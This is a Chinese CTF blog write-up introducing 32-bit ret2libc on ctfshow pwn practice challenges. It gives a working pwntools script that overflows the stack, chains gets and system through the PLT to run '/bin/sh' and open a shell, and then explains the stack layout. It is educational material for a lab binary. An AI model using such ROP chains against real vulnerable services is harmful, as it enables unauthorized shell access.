初识32位下的ret2libc

发表于2025-11-01|更新于2025-11-17|pwn入门

|总字数:499|阅读时长:1分钟|浏览量:

从ret2libc开始，我们将不再局限于像ret2text那样的栈溢出了，而是要开始接触另一个技术————ROP技术。什么是ROP技术我此前详细写了博客，在此不再赘述。

ret2libc就是拿程序里已有的函数库做文章，可以ret到的plt表，或或者ret到函数实际放置的got表处

egctfshow pwn入门39&41
这两个题思路是一样的，区别是39有bin/sh，41有sh

首先这个题是存在明显栈溢出的，而system和sh是有但是不在一起的

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']

#io = remote('pwn.challenge.ctf.show',28119)
io = process("./pwn43")
gdb.attach(io,'''break *0x08048420
           break *0x08048450''')

buf2 = 0x0804B060
system = 0x08048450
gets = 0x08048420
payload= b'A'*(0x6c+0x4)
payload += p32(gets)
payload += p32(system)
payload += p32(buf2)
payload += p32(buf2)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

整个流程如下：

1.函数返回，执行 ret → 跳到 gets

2.gets(buf2) 读取我们下一次 sendline 的 “/bin/sh”

3.gets 执行完后 ret → 跳到 system

4.system(buf2) → 执行 /bin/sh，获得 shell

让chatgpt帮忙画了一个栈图

地址	内容	含义
ESP+12	buf2	system(“/bin/sh”) 参数
ESP+8	buf2	gets(buf2) 参数
ESP+4	system	gets 返回后跳到这里
ESP	gets	ret → gets
	（低地址）

要特别注意的是，我们的payload并不直接执行压栈操作，而是覆盖内存，因此此我们不能用简单的先进后出来解释payload的顺序。我们必须知道，内存的写入方向是从低地址向高地址，虽然内存增长和栈增长没有必然关系，但是我们直观上可以理解为两者的方向是相反的

在溢出中，我们只能覆盖返回地址,不能直接移动ESP。
ret指令会自动让ESP上移到返回地址的位置，并读取该地址。
因此，我们把gets写到返回地址处，而不是尝试让ESP指向gets

文章作者: JiuTian521

文章链接: https://jiutian521.github.io/posts/b342ee9.html

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 JiuTian's blog！

相关推荐

前置知识点实际上，在之前的ret2libc题目中，我们还没有接触到ret2libc的核心，因为plt表里是存在现成的system的，但是大多数题目中，根本就没有出现或者引用过system函数，即使动态表里有system函数，程序也不会建立对应的plt表因此，我们必须要知道system函数的地址，即进行经典的泄露libc的操作，这对于我们对ROP链的使用要求又上了一个台阶，因此我个人认为这一块到了pwn里真正开始上难度的地方了在开始之前，我们必须要知道几个前置知识点，每一块想要掌握都需要费一番功夫延迟绑定机制我们知道，在动态链接时，我们需要从动态链接库链接外部函数，那么这个链接外部函数的过程是怎么样的呢实际上，程序在第一次调用某个外部函数前，程序是不知道这个函数的具体位置的，也只有在第一次调用时，它才会去找这个函数在libc里的真实地址每次执行 func@plt 时，程序首先执行 jmp [got.func]，即jmp到got表里对应函数的地址，接下来程序会做一个判断：如果 GOT 中记录的是跳板地址（还没有被解析），也就是ida里看到的offset func地址，则...

ret2libc进阶刷题

写了这么多ret2libc的博客，下面我们开始正式进入刷题，正好ctf关于ret2libc的题还有不少，那么我们就一道一道来。简单题只大体贴一下题目和exp，难题可以展开讲讲 ctfshow pwn47（32位） ez ret2libc 确实是很简单，给我打印了函数的真实地址，不过都无需了，直接套模板，改个偏移量和文件名完事 12345678910111213141516171819202122232425262728293031#!/usr/bin/env pythonfrom pwn import *from LibcSearcher import LibcSearchercontext.log_level = 'debug'context.binary = './pwn47'#sh = process('./pwn47')sh = remote('pwn.challenge.ctf.show', 28229)pwn47 = ELF('./pwn47')puts_plt =...

初识64位下的ret2libc

写在前面：这种类型的题其实不好归纳是ret2text还是ret2libc，我这里按照ctfwiki的分类方法，将存在完整可执行的system(bin/sh)后门函数的题型归纳为ret2text，将需要利用基本的ROP技术的题型归纳位ret2libc 我们知道，在32位系统下，参数是直接被放在栈上的，不需要寄存器，因此只需要简单的覆盖到后门函数地址即可，但是在64位系统下则不一样了 64位系统的函数调用约定linux下64位系统采用System V AMD64调用约定，这里我会在阅读完CSAPP第三章后做更加详细的解释，下面是一些简要解释参数传递方式参数编号寄存器第 1 个 RDI 第 2 个 RSI 第 3 个 RDX 第 4 个 RCX 第 5 个 R8 第 6 个 R9 函数的前六个参数从右往左先被存入寄存器，再通过call调用函数 foo(1, 2, 3, 4, 5, 6, 7); mov rdi, 1mov rsi, 2mov rdx, 3mov rcx, 4mov r8, 5mov r9, 6push 7 #...

数据加载中